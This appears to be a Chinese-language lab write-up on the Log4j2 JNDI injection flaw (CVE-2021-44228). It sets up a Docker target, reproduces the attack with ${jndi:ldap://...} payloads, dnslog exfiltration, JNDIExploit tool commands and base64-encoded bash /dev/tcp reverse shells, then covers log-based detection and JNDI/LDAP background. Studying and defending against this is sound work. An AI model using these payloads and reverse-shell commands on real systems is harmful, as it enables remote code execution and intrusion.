漏洞文档

漏洞描述

Apache Log4j2 是一款开源的 Java 日志记录工具,大量的业务框架都使用了该组件。如:Apache Struts2、Apache Solr、Apache Druid、Apache Flink等。此次漏洞是用于 Log4j2 提供的 lookup 功能造成的,该功能允许开发者通过一些协议去读取相应环境中的配置。但在实现的过程中,并未对输入进行严格的判断,从而造成漏洞的发生。


Apache Log4j2重写了Log4j框架,并引入了大量丰富的特性。可以控制日志信息输送的目的地为控制台、文件、GUI组件等。

漏洞编号

CVE-2021-44228

CNVD-2021-95914

漏洞等级

严重

影响范围

Apache Log4j 2.x < 2.15.0-rc2

漏洞摘要

由于Apache Log4j2某些功能存在递归解析功能,未经身份验证的攻击者通过发送特别构造的数据请求包,可在目标服务器上执行任意代码,攻击者可直接构造恶意请求,触发远程代码执行漏洞。


当程序将用户输入的数据被日志记录时,可触发此漏洞。利用此漏洞可以在目标服务器上执行任意代码。

漏洞分析

对于信息泄露,泄露的数据如何利用。思路如下:

  • 获取(获取数据):利用${}和其他各种Lookup
  • 带出(回显带出数据):利用dnslog或直接dns协议

执行流程

  1. POC作为message传给Logger类的 errorfatal 等一些方法
  2. 略去一些非关键流程,会进入到MessagePatternConverterformat方法对${内容进行解析替换
  3. 进入到interpolotor类的lookup方法,由前缀值jndi获取到jndiLookup
  4. 最终调用对应的lookup方法发起请求

流程分析

MessagePatternConverter.format会先判断输入的字符串中是否包含${,存在的话会进入判断。该漏洞会将${}中的内容当作表达式,从而进行远程加载。(将LDAP服务器上该地址中所记录的东西加载到本地,来进行字符串替换)

漏洞靶场

docker pull registry.cn-hangzhou.aliyuncs.com/fengxuan/log4j_vuln
docker run -it -d -p 8080:8080 --name log4j_vuln_container registry.cn-hangzhou.aliyuncs.com/fengxuan/log4j_vuln
docker exec -it log4j_vuln_container /bin/bash
/bin/bash /home/apache-tomcat-8.5.45/bin/startup.sh

访问 http://127.0.0.1:8080/webstudy/ 就可以了, post的参数为c

漏洞复现

与fastjson的漏洞如出一辙,需要编写一个恶意类。

弹出计算器

public class Exploit {
   public Exploit(){
       try{
           // 要执行的命令
           String[] commands = {"open", "/System/Applications/Calculator.app"};
           Process pc = Runtime.getRuntime().exec(commands);
           pc.waitFor();
      } catch(Exception e){
           e.printStackTrace();
      }
  }

   public static void main(String[] argv) {
       Exploit e = new Exploit();
  }
}

构造payload

构造payload,post提交

c=${jndi:ldap://log4j2.ua7wyw.dnslog.cn}

dnslog查看


查看java版本

c=${jndi:ldap://${java:version}.t0k805.dnslog.cn}

利用${来查询java版本


执行命令

项目地址:https://github.com/WhiteHSBG/JNDIExploit

在本地先要生成JNDI链接并启动后端相关服务,注意防火墙开启相关端口,用的是https://github.com/WhiteHSBG/JNDIExploit/releases/download/v1.4/JNDIExploit.v1.4.zip

java -jar /Users/gryffinbit/Documents/Tools/JNDIExploit1.4/JNDIExploit-1.4-SNAPSHOT.jar -i 192.168.0.89

一些坑:

  • 刚开始运行jar的时候,状态是显示两个端口的监听,默认开启LDAP和http的端口。当后面POST请求的时候,成功利用了JNDI注入,会显示注入成功的一些提示信息

  • 虽然是在本地启动的ldap服务,但是-i的ip不能写成127.0.0.1,要查询本地的ip,才可以

  • java -jar /Users/gryffinbit/Documents/Tools/JNDIExploit1.4/JNDIExploit-1.4-SNAPSHOT.jar -u 查看支持的 LDAP 格式。针对不同的网页框架和需求选择。

  • 下面的例子,在post请求里构造cmd,利用JNDI成功注入,来获得回显,采用的LDAP是 ldap://0.0.0.0:1389/Basic/TomcatEcho

构造payload

  1. 网页处于http://127.0.0.1:8080/webstudy/ 代理开启burpsuite,开启抓包,点击hitme,将该数据包抓获

    成功抓获数据包

  2. 将刚刚抓获的数据包,重放

  3. 修改数据包,将get改为POST,构造payload,成功执行命令

    cmd:whoami
    Content-Type: application/x-www-form-urlencoded
    
    c=${jndi:ldap://192.168.0.89:1389/TomcatBypass/TomcatEcho}
    

    成功回显

反弹 Shell

  1. 构造payload

    cmd: bash -i >& /dev/tcp/10.211.55.2/5555 0>&1
    Content-Type: application/x-www-form-urlencoded
    
    c=${jndi:ldap://10.211.55.2:1389/Basic/TomcatEcho}
    
  2. 服务器端开启监听

    ncat -lvnp 5555
    

    在macOS上是ncat命令

    在Linux上是nc命令

    netcat有很多版本,不同操作系统下面的细节用法也不同,可以参考这篇文章:https://www.sqlsec.com/2019/10/nc.html#%E6%8C%81%E4%B9%85%E7%9B%91%E5%90%AC

可能攻击失败,这时候需要对payload进行编码


工具

使用 JNDI-Injection-Exploit 。

编码

  1. 对cmd base64编码(放进payload里的)

    bash -i >& /dev/tcp/192.168.0.89/7777 0>&1
    YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuODkvNzc3NyAwPiYx
    

    目标机,主动对攻击机发起连接。攻击机收到目标机shell

  2. payload

    java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo, YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuODkvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}" -A "192.168.0.89"
    

    -A 攻击机的IP

  3. 攻击机启动监听,获取shell

    ncat -lvnp 7777
    

  4. burpsuite 重放,改成POST,参数注入选择JNDI-INJECT生成的payload

    Content-Type: application/x-www-form-urlencoded
    
    c=${jndi:ldap://192.168.0.89:1389/yltjam}
    

攻击排查

日志排查

攻击者在利用前通常采用dnslog方式进行扫描、探测,对于常见利用方式可通过应用系统报错日志中的关键字进行排查

javax.naming.CommunicationException

javax.naming.NamingException: problem generating object using object factory

Error looking up JNDI resource

流量排查

  1. 排查日志或者解码后完整的请求数据包中是否存在${jndi:关键字。

  2. 排查日志是否存在相关堆栈报错,堆栈里是否有JndiLookupldapURLContextgetObjectFactoryFromReference等与 jndi 调用相关的堆栈信息。

JNDI是什么

是什么

JNDI是 Java 命名与目录接口(Java Naming and Directory Interface)

来源

程序员开发的时候,需要开发能够访问mysql数据库的应用,于是将一个对mysql JDBC驱动程序类的引用进行了编码,并通过使用适当的JDBC URL连接到数据库

Connection conn=null; 
try { 
    Class.forName("com.mysql.jdbc.Driver", true, Thread.currentThread().getContextClassLoader()); 
    conn=DriverManager.getConnection("jdbc:mysql://MyDBServer?user=qingfeng&password=mingyue"); 
    /* 使用conn并进行SQL操作 */
    ...... 
    conn.close(); 
}catch(Exception e) { 
    e.printStackTrace(); 
}  
finally { 
  if(conn!=null) { 
  try { 
      conn.close(); 
  }catch(SQLException e) {} 
 }  <br>}

但由于数据库服务器名称、用户名、口令需要改变的时候,由此引发JDBC的URL也需要修改.

数据库可能不使用mysql了,引发JDBC驱动程序包和类名需要修改

随着开发的进行,原配置的连接池参数可能也需要调整。

jdbc:mysql://MyDBServer?user=qingfeng&password=mingyue"

解决方案

程序员开发的时候不需要关心具体的数据库后台是什么,JDBC驱动程序是什么,JDBC URL格式是什么,访问数据库的用户名和口令是什么。即程序员编写的程序应该没有对JDBC驱动程序的引用,甚至没有数据库池或连接管理。应该把这些问题交给J2EE容器来配置和管理。程序员只需要对这些配置和管理进行引用即可。于是就有了JNDI

JDNI是如何实际应用的

需要配置数据源,修改配置文件的内容,使之能通过JDBC正确访问到mysql数据库。配置文件定义了数据源,其参数包括JDBC的URL,驱动类名,用户密码等

 1 <?xml version="1.0" encoding="UTF-8"?>
 2 <datasources>
 3 <local-tx-datasource>
 4     <jndi-name>MySqlDS</jndi-name>
 5     <connection-url>jdbc:mysql://localhost:3306/lw</connection-url>
 6     <driver-class>com.mysql.jdbc.Driver</driver-class>
 7     <user-name>root</user-name>
 8     <password>rootpassword</password>
 9 <exception-sorter-class-name>org.jboss.resource.adapter.jdbc.vendor.MySQLExceptionSorter</exception-sorter-class-name>
10     <metadata>
11        <type-mapping>mySQL</type-mapping>
12     </metadata>
13 </local-tx-datasource>
14 </datasources>

开发的时候,在程序中引用数据源。程序不需要关心JDBC具体参数。

在系统部署后,如果数据库的相关参数更改,只需要重新配置mysql-ds.xml,修改其中的JDBC参数,只要保证数据源的名称不变,那么程序源代码就无需修改。

JNDI避免了程序与数据库之间的紧耦合,使应用更加易于配置、易于部署

JNDI的扩展

所有与系统外部的资源的引用,都可以通过JNDI定义和引用。

LDAP 是什么

LDAP

  • 轻量级目录访问协议。
  • LDAP目录服务是由目录数据库和一套访问协议组成的系统
  • 经过简单的配置就可以与服务器做认证交互

目录服务

  • 特殊的数据库,保存描述性、基于属性的详细信息,支持过滤功能
  • 动态的,灵活的,易扩展
  • 目录是一个为查询、浏览和搜索而优化的数据库,成树状结构组织数据,类似文件目录。有很好的读性能,用来查询。

LDAP数据库服务器

  • 访问某些服务器,想要获取里面的数据,需要用到LDAP协议

  • 统一身份认证主要是改变原有的认证策略,使需要认证的软件都通过LDAP进行认证,在统一身份认证之后,用户的所有信息都存储在AD Server中。终端用户在需要使用公司内部服务的时候,都需要通过AD服务器的认证。

    img

JNDIExploit

用于JNDI注入利用的工具。

JNDI注入

JNDI的应用场景:动态加载数据库配置文件,从而保持数据库代码不变动等,代码如下:

String jndiName= ...;//指定需要查找name名称
Context context = new InitialContext();//初始化默认环境
DataSource ds = (DataSourse)context.lookup(jndiName);//查找该name的数据

这些对象可以存储在不同的命名或目录服务中,例如远程方法调用(RMI),通用对象请求代理体系结构(CORBA),轻型目录访问协议(LDAP)或域名服务(DNS)。

比如RMI:

InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup("rmi://127.0.0.1:1099/Exploit");

JNDI注入就是当上文代码中jndiName这个变量可控时,引发的漏洞。它将导致远程class文件加载,从而导致远程代码执行。即"rmi://127.0.0.1:1099/Exploit"这个正常的数据查找,变成了加载某有害文件。

即 利用JNDI注入需要满足2个条件

  1. 需要服务端存在一下代码,使得URL可控
String uri = "rmi://127.0.0.1:1099/aa";
    Context ctx = new InitialContext();
    ctx.lookup(uri);
  1. 存在漏洞版本的java环境

JNDI注入原理

JNDI注入由于其加载动态类原理是JNDI Reference远程加载Object Factory类的特性(使用的不是RMI Class Loading,而是 URL Class Loader

LDAP+JNDI 绕过更多版本限制,实现注入

LDAP

  • 基于TCP/IP协议

  • 服务端存储数据,客户端与服务端连接进行操作

  • 树形存储

POC

代码会根据传入协议头的区别去进入对应的处理函数,只需要修改传入参数的解析头,再启动LDAP服务,恶意class的web服务即可

参考文章

https://mp.weixin.qq.com/s/W7kajN3GKKlK-C41N4re4g

https://www.freebuf.com/vuls/310414.html

https://xz.aliyun.com/t/10659

https://www.cnblogs.com/study-everyday/p/6723313.html

https://www.cnblogs.com/wilburxu/p/9174353.html

https://xz.aliyun.com/t/6633

评论